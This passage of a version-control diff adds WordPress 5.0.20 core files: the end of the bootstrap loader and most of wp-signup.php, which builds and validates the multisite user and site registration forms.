+if ( ( 0 === validate_file( $locale ) ) && is_readable( $locale_file ) )
+	require( $locale_file );
+unset( $locale_file );
+
+/**
+ * WordPress Locale object for loading locale domain date and various strings.
+ * @global WP_Locale $wp_locale
+ * @since 2.1.0
+ */
+$GLOBALS['wp_locale'] = new WP_Locale();
+
+/**
+ *  WordPress Locale Switcher object for switching locales.
+ *
+ * @since 4.7.0
+ *
+ * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
+ */
+$GLOBALS['wp_locale_switcher'] = new WP_Locale_Switcher();
+$GLOBALS['wp_locale_switcher']->init();
+
+// Load the functions for the active theme, for both parent and child theme if applicable.
+if ( ! wp_installing() || 'wp-activate.php' === $pagenow ) {
+	if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists( STYLESHEETPATH . '/functions.php' ) )
+		include( STYLESHEETPATH . '/functions.php' );
+	if ( file_exists( TEMPLATEPATH . '/functions.php' ) )
+		include( TEMPLATEPATH . '/functions.php' );
+}
+
+/**
+ * Fires after the theme is loaded.
+ *
+ * @since 3.0.0
+ */
+do_action( 'after_setup_theme' );
+
+// Set up current user.
+$GLOBALS['wp']->init();
+
+/**
+ * Fires after WordPress has finished loading but before any headers are sent.
+ *
+ * Most of WP is loaded at this stage, and the user is authenticated. WP continues
+ * to load on the {@see 'init'} hook that follows (e.g. widgets), and many plugins instantiate
+ * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.).
+ *
+ * If you wish to plug an action once WP is loaded, use the {@see 'wp_loaded'} hook below.
+ *
+ * @since 1.5.0
+ */
+do_action( 'init' );
+
+// Check site status
+if ( is_multisite() ) {
+	if ( true !== ( $file = ms_site_check() ) ) {
+		require( $file );
+		die();
+	}
+	unset($file);
+}
+
+/**
+ * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated.
+ *
+ * Ajax requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for
+ * users not logged in.
+ *
+ * @link https://codex.wordpress.org/AJAX_in_Plugins
+ *
+ * @since 3.0.0
+ */
+do_action( 'wp_loaded' );
Index: /tags/5.0.20/src/wp-signup.php
===================================================================
--- /tags/5.0.20/src/wp-signup.php	(revision 56912)
+++ /tags/5.0.20/src/wp-signup.php	(revision 56912)
@@ -0,0 +1,924 @@
+<?php
+
+/** Sets up the WordPress Environment. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+add_action( 'wp_head', 'wp_no_robots' );
+
+require( dirname( __FILE__ ) . '/wp-blog-header.php' );
+
+nocache_headers();
+
+if ( is_array( get_site_option( 'illegal_names' )) && isset( $_GET[ 'new' ] ) && in_array( $_GET[ 'new' ], get_site_option( 'illegal_names' ) ) ) {
+	wp_redirect( network_home_url() );
+	die();
+}
+
+/**
+ * Prints signup_header via wp_head
+ *
+ * @since MU (3.0.0)
+ */
+function do_signup_header() {
+	/**
+	 * Fires within the head section of the site sign-up screen.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'signup_header' );
+}
+add_action( 'wp_head', 'do_signup_header' );
+
+if ( !is_multisite() ) {
+	wp_redirect( wp_registration_url() );
+	die();
+}
+
+if ( !is_main_site() ) {
+	wp_redirect( network_site_url( 'wp-signup.php' ) );
+	die();
+}
+
+// Fix for page title
+$wp_query->is_404 = false;
+
+/**
+ * Fires before the Site Signup page is loaded.
+ *
+ * @since 4.4.0
+ */
+do_action( 'before_signup_header' );
+
+/**
+ * Prints styles for front-end Multisite signup pages
+ *
+ * @since MU (3.0.0)
+ */
+function wpmu_signup_stylesheet() {
+	?>
+	<style type="text/css">
+		.mu_register { width: 90%; margin:0 auto; }
+		.mu_register form { margin-top: 2em; }
+		.mu_register .error { font-weight:700; padding:10px; color:#333333; background:#FFEBE8; border:1px solid #CC0000; }
+		.mu_register input[type="submit"],
+			.mu_register #blog_title,
+			.mu_register #user_email,
+			.mu_register #blogname,
+			.mu_register #user_name { width:100%; font-size: 24px; margin:5px 0; }
+		.mu_register #site-language { display: block; }
+		.mu_register .prefix_address,
+			.mu_register .suffix_address {font-size: 18px;display:inline; }
+		.mu_register label { font-weight:700; font-size:15px; display:block; margin:10px 0; }
+		.mu_register label.checkbox { display:inline; }
+		.mu_register .mu_alert { font-weight:700; padding:10px; color:#333333; background:#ffffe0; border:1px solid #e6db55; }
+	</style>
+	<?php
+}
+
+add_action( 'wp_head', 'wpmu_signup_stylesheet' );
+get_header( 'wp-signup' );
+
+/**
+ * Fires before the site sign-up form.
+ *
+ * @since 3.0.0
+ */
+do_action( 'before_signup_form' );
+?>
+<div id="signup-content" class="widecolumn">
+<div class="mu_register wp-signup-container">
+<?php
+/**
+ * Generates and displays the Signup and Create Site forms
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string          $blogname   The new site name.
+ * @param string          $blog_title The new site title.
+ * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
+ */
+function show_blog_form( $blogname = '', $blog_title = '', $errors = '' ) {
+	if ( ! is_wp_error( $errors ) ) {
+		$errors = new WP_Error();
+	}
+
+	$current_network = get_network();
+	// Blog name
+	if ( !is_subdomain_install() )
+		echo '<label for="blogname">' . __('Site Name:') . '</label>';
+	else
+		echo '<label for="blogname">' . __('Site Domain:') . '</label>';
+
+	if ( $errmsg = $errors->get_error_message('blogname') ) { ?>
+		<p class="error"><?php echo $errmsg ?></p>
+	<?php }
+
+	if ( !is_subdomain_install() )
+		echo '<span class="prefix_address">' . $current_network->domain . $current_network->path . '</span><input name="blogname" type="text" id="blogname" value="'. esc_attr($blogname) .'" maxlength="60" /><br />';
+	else
+		echo '<input name="blogname" type="text" id="blogname" value="'.esc_attr($blogname).'" maxlength="60" /><span class="suffix_address">.' . ( $site_domain = preg_replace( '|^www\.|', '', $current_network->domain ) ) . '</span><br />';
+
+	if ( ! is_user_logged_in() ) {
+		if ( ! is_subdomain_install() ) {
+			$site = $current_network->domain . $current_network->path . __( 'sitename' );
+		} else {
+			$site = __( 'domain' ) . '.' . $site_domain . $current_network->path;
+		}
+
+		/* translators: %s: site address */
+		echo '<p>(<strong>' . sprintf( __( 'Your address will be %s.' ), $site ) . '</strong>) ' . __( 'Must be at least 4 characters, letters and numbers only. It cannot be changed, so choose carefully!' ) . '</p>';
+	}
+
+	// Blog Title
+	?>
+	<label for="blog_title"><?php _e('Site Title:') ?></label>
+	<?php if ( $errmsg = $errors->get_error_message('blog_title') ) { ?>
+		<p class="error"><?php echo $errmsg ?></p>
+	<?php }
+	echo '<input name="blog_title" type="text" id="blog_title" value="'.esc_attr($blog_title).'" />';
+	?>
+
+	<?php
+	// Site Language.
+	$languages = signup_get_available_languages();
+
+	if ( ! empty( $languages ) ) :
+		?>
+		<p>
+			<label for="site-language"><?php _e( 'Site Language:' ); ?></label>
+			<?php
+			// Network default.
+			$lang = get_site_option( 'WPLANG' );
+
+			if ( isset( $_POST['WPLANG'] ) ) {
+				$lang = $_POST['WPLANG'];
+			}
+
+			// Use US English if the default isn't available.
+			if ( ! in_array( $lang, $languages ) ) {
+				$lang = '';
+			}
+
+			wp_dropdown_languages( array(
+				'name'                        => 'WPLANG',
+				'id'                          => 'site-language',
+				'selected'                    => $lang,
+				'languages'                   => $languages,
+				'show_available_translations' => false,
+			) );
+			?>
+		</p>
+	<?php endif; // Languages. ?>
+
+	<div id="privacy">
+        <p class="privacy-intro">
+            <label for="blog_public_on"><?php _e('Privacy:') ?></label>
+            <?php _e( 'Allow search engines to index this site.' ); ?>
+            <br style="clear:both" />
+            <label class="checkbox" for="blog_public_on">
+                <input type="radio" id="blog_public_on" name="blog_public" value="1" <?php if ( !isset( $_POST['blog_public'] ) || $_POST['blog_public'] == '1' ) { ?>checked="checked"<?php } ?> />
+                <strong><?php _e( 'Yes' ); ?></strong>
+            </label>
+            <label class="checkbox" for="blog_public_off">
+                <input type="radio" id="blog_public_off" name="blog_public" value="0" <?php if ( isset( $_POST['blog_public'] ) && $_POST['blog_public'] == '0' ) { ?>checked="checked"<?php } ?> />
+                <strong><?php _e( 'No' ); ?></strong>
+            </label>
+        </p>
+	</div>
+
+	<?php
+	/**
+	 * Fires after the site sign-up form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param WP_Error $errors A WP_Error object possibly containing 'blogname' or 'blog_title' errors.
+	 */
+	do_action( 'signup_blogform', $errors );
+}
+
+/**
+ * Validate the new site signup
+ *
+ * @since MU (3.0.0)
+ *
+ * @return array Contains the new site data and error messages.
+ */
+function validate_blog_form() {
+	$user = '';
+	if ( is_user_logged_in() )
+		$user = wp_get_current_user();
+
+	return wpmu_validate_blog_signup($_POST['blogname'], $_POST['blog_title'], $user);
+}
+
+/**
+ * Display user registration form
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string          $user_name  The entered username.
+ * @param string          $user_email The entered email address.
+ * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
+ */
+function show_user_form($user_name = '', $user_email = '', $errors = '') {
+	if ( ! is_wp_error( $errors ) ) {
+		$errors = new WP_Error();
+	}
+
+	// User name
+	echo '<label for="user_name">' . __('Username:') . '</label>';
+	if ( $errmsg = $errors->get_error_message('user_name') ) {
+		echo '<p class="error">'.$errmsg.'</p>';
+	}
+	echo '<input name="user_name" type="text" id="user_name" value="'. esc_attr( $user_name ) .'" autocapitalize="none" autocorrect="off" maxlength="60" /><br />';
+	_e( '(Must be at least 4 characters, letters and numbers only.)' );
+	?>
+
+	<label for="user_email"><?php _e( 'Email&nbsp;Address:' ) ?></label>
+	<?php if ( $errmsg = $errors->get_error_message('user_email') ) { ?>
+		<p class="error"><?php echo $errmsg ?></p>
+	<?php } ?>
+	<input name="user_email" type="email" id="user_email" value="<?php  echo esc_attr($user_email) ?>" maxlength="200" /><br /><?php _e('We send your registration email to this address. (Double-check your email address before continuing.)') ?>
+	<?php
+	if ( $errmsg = $errors->get_error_message('generic') ) {
+		echo '<p class="error">' . $errmsg . '</p>';
+	}
+	/**
+	 * Fires at the end of the user registration form on the site sign-up form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param WP_Error $errors A WP_Error object containing 'user_name' or 'user_email' errors.
+	 */
+	do_action( 'signup_extra_fields', $errors );
+}
+
+/**
+ * Validate user signup name and email
+ *
+ * @since MU (3.0.0)
+ *
+ * @return array Contains username, email, and error messages.
+ */
+function validate_user_form() {
+	return wpmu_validate_user_signup($_POST['user_name'], $_POST['user_email']);
+}
+
+/**
+ * Allow returning users to sign up for another site
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string          $blogname   The new site name
+ * @param string          $blog_title The new site title.
+ * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
+ */
+function signup_another_blog( $blogname = '', $blog_title = '', $errors = '' ) {
+	$current_user = wp_get_current_user();
+
+	if ( ! is_wp_error($errors) ) {
+		$errors = new WP_Error();
+	}
+
+	$signup_defaults = array(
+		'blogname'   => $blogname,
+		'blog_title' => $blog_title,
+		'errors'     => $errors
+	);
+
+	/**
+	 * Filters the default site sign-up variables.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $signup_defaults {
+	 *     An array of default site sign-up variables.
+	 *
+	 *     @type string   $blogname   The site blogname.
+	 *     @type string   $blog_title The site title.
+	 *     @type WP_Error $errors     A WP_Error object possibly containing 'blogname' or 'blog_title' errors.
+	 * }
+	 */
+	$filtered_results = apply_filters( 'signup_another_blog_init', $signup_defaults );
+
+	$blogname = $filtered_results['blogname'];
+	$blog_title = $filtered_results['blog_title'];
+	$errors = $filtered_results['errors'];
+
+	echo '<h2>' . sprintf( __( 'Get <em>another</em> %s site in seconds' ), get_network()->site_name ) . '</h2>';
+
+	if ( $errors->get_error_code() ) {
+		echo '<p>' . __( 'There was a problem, please correct the form below and try again.' ) . '</p>';
+	}
+	?>
+	<p><?php printf( __( 'Welcome back, %s. By filling out the form below, you can <strong>add another site to your account</strong>. There is no limit to the number of sites you can have, so create to your heart&#8217;s content, but write responsibly!' ), $current_user->display_name ) ?></p>
+
+	<?php
+	$blogs = get_blogs_of_user($current_user->ID);
+	if ( !empty($blogs) ) { ?>
+
+			<p><?php _e( 'Sites you are already a member of:' ) ?></p>
+			<ul>
+				<?php foreach ( $blogs as $blog ) {
+					$home_url = get_home_url( $blog->userblog_id );
+					echo '<li><a href="' . esc_url( $home_url ) . '">' . $home_url . '</a></li>';
+				} ?>
+			</ul>
+	<?php } ?>
+
+	<p><?php _e( 'If you&#8217;re not going to use a great site domain, leave it for a new user. Now have at it!' ) ?></p>
+	<form id="setupform" method="post" action="wp-signup.php">
+		<input type="hidden" name="stage" value="gimmeanotherblog" />
+		<?php
+		/**
+		 * Hidden sign-up form fields output when creating another site or user.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param string $context A string describing the steps of the sign-up process. The value can be
+		 *                        'create-another-site', 'validate-user', or 'validate-site'.
+		 */
+		do_action( 'signup_hidden_fields', 'create-another-site' );
+		?>
+		<?php show_blog_form($blogname, $blog_title, $errors); ?>
+		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Create Site' ) ?>" /></p>
+	</form>
+	<?php
+}
+
+/**
+ * Validate a new site signup.
+ *
+ * @since MU (3.0.0)
+ *
+ * @return null|bool True if site signup was validated, false if error.
+ *                   The function halts all execution if the user is not logged in.
+ */
+function validate_another_blog_signup() {
+	global $blogname, $blog_title, $errors, $domain, $path;
+	$current_user = wp_get_current_user();
+	if ( ! is_user_logged_in() ) {
+		die();
+	}
+
+	$result = validate_blog_form();
+
+	// Extracted values set/overwrite globals.
+	$domain = $result['domain'];
+	$path = $result['path'];
+	$blogname = $result['blogname'];
+	$blog_title = $result['blog_title'];
+	$errors = $result['errors'];
+
+	if ( $errors->get_error_code() ) {
+		signup_another_blog($blogname, $blog_title, $errors);
+		return false;
+	}
+
+	$public = (int) $_POST['blog_public'];
+
+	$blog_meta_defaults = array(
+		'lang_id' => 1,
+		'public'  => $public
+	);
+
+	// Handle the language setting for the new site.
+	if ( ! empty( $_POST['WPLANG'] ) ) {
+
+		$languages = signup_get_available_languages();
+
+		if ( in_array( $_POST['WPLANG'], $languages ) ) {
+			$language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) );
+
+			if ( $language ) {
+				$blog_meta_defaults['WPLANG'] = $language;
+			}
+		}
+
+	}
+
+	/**
+	 * Filters the new site meta variables.
+	 *
+	 * Use the {@see 'add_signup_meta'} filter instead.
+	 *
+	 * @since MU (3.0.0)
+	 * @deprecated 3.0.0 Use the {@see 'add_signup_meta'} filter instead.
+	 *
+	 * @param array $blog_meta_defaults An array of default blog meta variables.
+	 */
+	$meta_defaults = apply_filters( 'signup_create_blog_meta', $blog_meta_defaults );
+
+	/**
+	 * Filters the new default site meta variables.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $meta {
+	 *     An array of default site meta variables.
+	 *
+	 *     @type int $lang_id     The language ID.
+	 *     @type int $blog_public Whether search engines should be discouraged from indexing the site. 1 for true, 0 for false.
+	 * }
+	 */
+	$meta = apply_filters( 'add_signup_meta', $meta_defaults );
+
+	$blog_id = wpmu_create_blog( $domain, $path, $blog_title, $current_user->ID, $meta, get_current_network_id() );
+
+	if ( is_wp_error( $blog_id ) ) {
+		return false;
+	}
+
+	confirm_another_blog_signup( $domain, $path, $blog_title, $current_user->user_login, $current_user->user_email, $meta, $blog_id );
+	return true;
+}
+
+/**
+ * Confirm a new site signup.
+ *
+ * @since MU (3.0.0)
+ * @since 4.4.0 Added the `$blog_id` parameter.
+ *
+ * @param string $domain     The domain URL.
+ * @param string $path       The site root path.
+ * @param string $blog_title The site title.
+ * @param string $user_name  The username.
+ * @param string $user_email The user's email address.
+ * @param array  $meta       Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup().
+ * @param int    $blog_id    The site ID.
+ */
+function confirm_another_blog_signup( $domain, $path, $blog_title, $user_name, $user_email = '', $meta = array(), $blog_id = 0 ) {
+
+	if ( $blog_id ) {
+		switch_to_blog( $blog_id );
+		$home_url  = home_url( '/' );
+		$login_url = wp_login_url();
+		restore_current_blog();
+	} else {
+		$home_url  = 'http://' . $domain . $path;
+		$login_url = 'http://' . $domain . $path . 'wp-login.php';
+	}
+
+	$site = sprintf( '<a href="%1$s">%2$s</a>',
+		esc_url( $home_url ),
+		$blog_title
+	);
+
+	?>
+	<h2><?php
+		/* translators: %s: site name */
+		printf( __( 'The site %s is yours.' ), $site );
+	?></h2>
+	<p>
+		<?php printf(
+			/* translators: 1: link to new site, 2: login URL, 3: username */
+			__( '%1$s is your new site. <a href="%2$s">Log in</a> as &#8220;%3$s&#8221; using your existing password.' ),
+			sprintf(
+				'<a href="%s">%s</a>',
+				esc_url( $home_url ),
+				untrailingslashit( $domain . $path )
+			),
+			esc_url( $login_url ),
+			$user_name
+		); ?>
+	</p>
+	<?php
+	/**
+	 * Fires when the site or user sign-up process is complete.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'signup_finished' );
+}
+
+/**
+ * Setup the new user signup process
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string          $user_name  The username.
+ * @param string          $user_email The user's email.
+ * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
+ */
+function signup_user( $user_name = '', $user_email = '', $errors = '' ) {
+	global $active_signup;
+
+	if ( !is_wp_error($errors) )
+		$errors = new WP_Error();
+
+	$signup_for = isset( $_POST[ 'signup_for' ] ) ? esc_html( $_POST[ 'signup_for' ] ) : 'blog';
+
+	$signup_user_defaults = array(
+		'user_name'  => $user_name,
+		'user_email' => $user_email,
+		'errors'     => $errors,
+	);
+
+	/**
+	 * Filters the default user variables used on the user sign-up form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $signup_user_defaults {
+	 *     An array of default user variables.
+	 *
+	 *     @type string   $user_name  The user username.
+	 *     @type string   $user_email The user email address.
+	 *     @type WP_Error $errors     A WP_Error object with possible errors relevant to the sign-up user.
+	 * }
+	 */
+	$filtered_results = apply_filters( 'signup_user_init', $signup_user_defaults );
+	$user_name = $filtered_results['user_name'];
+	$user_email = $filtered_results['user_email'];
+	$errors = $filtered_results['errors'];
+
+	?>
+
+	<h2><?php
+		/* translators: %s: name of the network */
+		printf( __( 'Get your own %s account in seconds' ), get_network()->site_name );
+	?></h2>
+	<form id="setupform" method="post" action="wp-signup.php" novalidate="novalidate">
+		<input type="hidden" name="stage" value="validate-user-signup" />
+		<?php
+		/** This action is documented in wp-signup.php */
+		do_action( 'signup_hidden_fields', 'validate-user' );
+		?>
+		<?php show_user_form($user_name, $user_email, $errors); ?>
+
+		<p>
+		<?php if ( $active_signup == 'blog' ) { ?>
+			<input id="signupblog" type="hidden" name="signup_for" value="blog" />
+		<?php } elseif ( $active_signup == 'user' ) { ?>
+			<input id="signupblog" type="hidden" name="signup_for" value="user" />
+		<?php } else { ?>
+			<input id="signupblog" type="radio" name="signup_for" value="blog" <?php checked( $signup_for, 'blog' ); ?> />
+			<label class="checkbox" for="signupblog"><?php _e('Gimme a site!') ?></label>
+			<br />
+			<input id="signupuser" type="radio" name="signup_for" value="user" <?php checked( $signup_for, 'user' ); ?> />
+			<label class="checkbox" for="signupuser"><?php _e('Just a username, please.') ?></label>
+		<?php } ?>
+		</p>
+
+		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e('Next') ?>" /></p>
+	</form>
+	<?php
+}
+
+/**
+ * Validate the new user signup
+ *
+ * @since MU (3.0.0)
+ *
+ * @return bool True if new user signup was validated, false if error
+ */
+function validate_user_signup() {
+	$result = validate_user_form();
+	$user_name = $result['user_name'];
+	$user_email = $result['user_email'];
+	$errors = $result['errors'];
+
+	if ( $errors->get_error_code() ) {
+		signup_user($user_name, $user_email, $errors);
+		return false;
+	}
+
+	if ( 'blog' == $_POST['signup_for'] ) {
+		signup_blog($user_name, $user_email);
+		return false;
+	}
+
+	/** This filter is documented in wp-signup.php */
+	wpmu_signup_user( $user_name, $user_email, apply_filters( 'add_signup_meta', array() ) );
+
+	confirm_user_signup($user_name, $user_email);
+	return true;
+}
+
+/**
+ * New user signup confirmation
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $user_name The username
+ * @param string $user_email The user's email address
+ */
+function confirm_user_signup($user_name, $user_email) {
+	?>
+	<h2><?php /* translators: %s: username */
+	printf( __( '%s is your new username' ), $user_name) ?></h2>
+	<p><?php _e( 'But, before you can start using your new username, <strong>you must activate it</strong>.' ) ?></p>
+	<p><?php /* translators: %s: email address */
+	printf( __( 'Check your inbox at %s and click the link given.' ), '<strong>' . $user_email . '</strong>' ); ?></p>
+	<p><?php _e( 'If you do not activate your username within two days, you will have to sign up again.' ); ?></p>
+	<?php
+	/** This action is documented in wp-signup.php */
+	do_action( 'signup_finished' );
+}
+
+/**
+ * Setup the new site signup
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string          $user_name  The username.
+ * @param string          $user_email The user's email address.
+ * @param string          $blogname   The site name.
+ * @param string          $blog_title The site title.
+ * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
+ */
+function signup_blog($user_name = '', $user_email = '', $blogname = '', $blog_title = '', $errors = '') {
+	if ( !is_wp_error($errors) )
+		$errors = new WP_Error();
+
+	$signup_blog_defaults = array(
+		'user_name'  => $user_name,
+		'user_email' => $user_email,
+		'blogname'   => $blogname,
+		'blog_title' => $blog_title,
+		'errors'     => $errors
+	);
+
+	/**
+	 * Filters the default site creation variables for the site sign-up form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $signup_blog_defaults {
+	 *     An array of default site creation variables.
+	 *
+	 *     @type string   $user_name  The user username.
+	 *     @type string   $user_email The user email address.
+	 *     @type string   $blogname   The blogname.
+	 *     @type string   $blog_title The title of the site.
+	 *     @type WP_Error $errors     A WP_Error object with possible errors relevant to new site creation variables.
+	 * }
+	 */
+	$filtered_results = apply_filters( 'signup_blog_init', $signup_blog_defaults );
+
+	$user_name = $filtered_results['user_name'];
+	$user_email = $filtered_results['user_email'];
+	$blogname = $filtered_results['blogname'];
+	$blog_title = $filtered_results['blog_title'];
+	$errors = $filtered_results['errors'];
+
+	if ( empty($blogname) )
+		$blogname = $user_name;
+	?>
+	<form id="setupform" method="post" action="wp-signup.php">
+		<input type="hidden" name="stage" value="validate-blog-signup" />
+		<input type="hidden" name="user_name" value="<?php echo esc_attr($user_name) ?>" />
+		<input type="hidden" name="user_email" value="<?php echo esc_attr($user_email) ?>" />
+		<?php
+		/** This action is documented in wp-signup.php */
+		do_action( 'signup_hidden_fields', 'validate-site' );
+		?>
+		<?php show_blog_form($blogname, $blog_title, $errors); ?>
+		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e('Signup') ?>" /></p>
+	</form>
+	<?php
+}
+
+/**
+ * Validate new site signup
+ *
+ * @since MU (3.0.0)
+ *
+ * @return bool True if the site signup was validated, false if error
+ */
+function validate_blog_signup() {
+	// Re-validate user info.
+	$user_result = wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] );
+	$user_name = $user_result['user_name'];
+	$user_email = $user_result['user_email'];
+	$user_errors = $user_result['errors'];
+
+	if ( $user_errors->get_error_code() ) {
+		signup_user( $user_name, $user_email, $user_errors );
+		return false;
+	}
+
+	$result = wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'] );
+	$domain = $result['domain'];
+	$path = $result['path'];
+	$blogname = $result['blogname'];
+	$blog_title = $result['blog_title'];
+	$errors = $result['errors'];
+
+	if ( $errors->get_error_code() ) {
+		signup_blog($user_name, $user_email, $blogname, $blog_title, $errors);
+		return false;
+	}
+
+	$public = (int) $_POST['blog_public'];
+	$signup_meta = array ('lang_id' => 1, 'public' => $public);
+
+	// Handle the language setting for the new site.
+	if ( ! empty( $_POST['WPLANG'] ) ) {
+
+		$languages = signup_get_available_languages();
+
+		if ( in_array( $_POST['WPLANG'], $languages ) ) {
+			$language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) );
+
+			if ( $language ) {
+				$signup_meta['WPLANG'] = $language;
+			}
+		}
+
+	}
+
+	/** This filter is documented in wp-signup.php */
+	$meta = apply_filters( 'add_signup_meta', $signup_meta );
+
+	wpmu_signup_blog($domain, $path, $blog_title, $user_name, $user_email, $meta);
+	confirm_blog_signup($domain, $path, $blog_title, $user_name, $user_email, $meta);
+	return true;
+}
+
+/**
+ * New site signup confirmation
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $domain The domain URL
+ * @param string $path The site root path
+ * @param string $blog_title The new site title
+ * @param string $user_name The user's username
+ * @param string $user_email The user's email address
+ * @param array $meta Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup()
+ */
+function confirm_blog_signup( $domain, $path, $blog_title, $user_name = '', $user_email = '', $meta = array() ) {
+	?>
+	<h2><?php /* translators: %s: site address */
+	printf( __( 'Congratulations! Your new site, %s, is almost ready.' ), "<a href='http://{$domain}{$path}'>{$blog_title}</a>" ) ?></h2>
+
+	<p><?php _e( 'But, before you can start using your site, <strong>you must activate it</strong>.' ) ?></p>
+	<p><?php /* translators: %s: email address */
+	printf( __( 'Check your inbox at %s and click the link given.' ), '<strong>' . $user_email . '</strong>' ); ?></p>
+	<p><?php _e( 'If you do not activate your site within two days, you will have to sign up again.' ); ?></p>
+	<h2><?php _e( 'Still waiting for your email?' ); ?></h2>
+	<p>
+		<?php _e( 'If you haven&#8217;t received your email yet, there are a number of things you can do:' ) ?>
+		<ul id="noemail-tips">
+			<li><p><strong><?php _e( 'Wait a little longer. Sometimes delivery of email can be delayed by processes outside of our control.' ) ?></strong></p></li>
+			<li><p><?php _e( 'Check the junk or spam folder of your email client. Sometime emails wind up there by mistake.' ) ?></p></li>
+			<li><?php
+				/* translators: %s: email address */
+				printf( __( 'Have you entered your email correctly? You have entered %s, if it&#8217;s incorrect, you will not receive your email.' ), $user_email );
+			?></li>
+		</ul>
+	</p>
+	<?php
+	/** This action is documented in wp-signup.php */
+	do_action( 'signup_finished' );
+}
+
+/**
+ * Retrieves languages available during the site/user signup process.
+ *
+ * @since 4.4.0
+ *
+ * @see get_available_languages()
+ *
+ * @return array List of available languages.
+ */
+function signup_get_available_languages() {
+	/**
+	 * Filters the list of available languages for front-end site signups.
+	 *
+	 * Passing an empty array to this hook will disable output of the setting on the
+	 * signup form, and the default language will be used when creating the site.
+	 *
+	 * Languages not already installed will be stripped.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $available_languages Available languages.
+	 */
+	$languages = (array) apply_filters( 'signup_get_available_languages', get_available_languages() );
+
+	/*
+	 * Strip any non-installed languages and return.
+	 *
+	 * Re-call get_available_languages() here in case a language pack was installed
+	 * in a callback hooked to the 'signup_get_available_languages' filter before this point.
+	 */
+	return array_intersect_assoc( $languages, get_available_languages() );
+}
+
+// Main
+$active_signup = get_site_option( 'registration', 'none' );
+
+/**
+ * Filters the type of site sign-up.
+ *
+ * @since 3.0.0
+ *
+ * @param string $active_signup String that returns registration type. The value can be
+ *                              'all', 'none', 'blog', or 'user'.
+ */
+$active_signup = apply_filters( 'wpmu_active_signup', $active_signup );
+
+if ( current_user_can( 'manage_network' ) ) {
+	echo '<div class="mu_alert">';
+	_e( 'Greetings Network Administrator!' );
+	echo ' ';
+
+	switch ( $active_signup ) {
+		case 'none':
+			_e( 'The network currently disallows registrations.' );
+			break;
+		case 'blog':
+			_e( 'The network currently allows site registrations.' );
+			break;
+		case 'user':
+			_e( 'The network currently allows user registrations.' );
+			break;
+		default:
+			_e( 'The network currently allows both site and user registrations.' );
+			break;
+	}
+
+	echo ' ';
+
+	/* translators: %s: network settings URL */
+	printf( __( 'To change or disable registration go to your <a href="%s">Options page</a>.' ), esc_url( network_admin_url( 'settings.php' ) ) );
+	echo '</div>';
+}
+
+$newblogname = isset($_GET['new']) ? strtolower(preg_replace('/^-|-$|[^-a-zA-Z0-9]/', '', $_GET['new'])) : null;
+
+$current_user = wp_get_current_user();
+if ( $active_signup == 'none' ) {
+	_e( 'Registration has been disabled.' );
+} elseif ( $active_signup == 'blog' && !is_user_logged_in() ) {
+	$login_url = wp_login_url( network_site_url( 'wp-signup.php' ) );
+	/* translators: %s: login URL */
+	printf( __( 'You must first <a href="%s">log in</a>, and then you can create a new site.' ), $login_url );
+} else {
+	$stage = isset( $_POST['stage'] ) ?  $_POST['stage'] : 'default';
+	switch ( $stage ) {
+		case 'validate-user-signup' :
+			if ( $active_signup == 'all' || $_POST[ 'signup_for' ] == 'blog' && $active_signup == 'blog' || $_POST[ 'signup_for' ] == 'user' && $active_signup == 'user' )
+				validate_user_signup();
+			else
+				_e( 'User registration has been disabled.' );
+		break;
+		case 'validate-blog-signup':
+			if ( $active_signup == 'all' || $active_signup == 'blog' )
+				validate_blog_signup();
+			else
+				_e( 'Site registration has been disabled.' );
+			break;
+		case 'gimmeanotherblog':
+			validate_another_blog_signup();
+			break;
+		case 'default':
+		default :
+			$user_email = isset( $_POST[ 'user_email' ] ) ? $_POST[ 'user_email' ] : '';
+			/**
+			 * Fires when the site sign-up form is sent.
+			 *
+			 * @since 3.0.0
+			 */
+			do_action( 'preprocess_signup_form' );
+			if ( is_user_logged_in() && ( $active_signup == 'all' || $active_signup == 'blog' ) )
+				signup_another_blog($newblogname);
+			elseif ( ! is_user_logged_in() && ( $active_signup == 'all' || $active_signup == 'user' ) )
+				signup_user( $newblogname, $user_email );
+			elseif ( ! is_user_logged_in() && ( $active_signup == 'blog' ) )
+				_e( 'Sorry, new registrations are not allowed at this time.' );
+			else
+				_e( 'You are logged in already. No need to register again!' );
+
+			if ( $newblogname ) {
+				$newblog = get_blogaddress_by_name( $newblogname );
+
+				if ( $active_signup == 'blog' || $active_signup == 'all' )
+					/* translators: %s: site address */
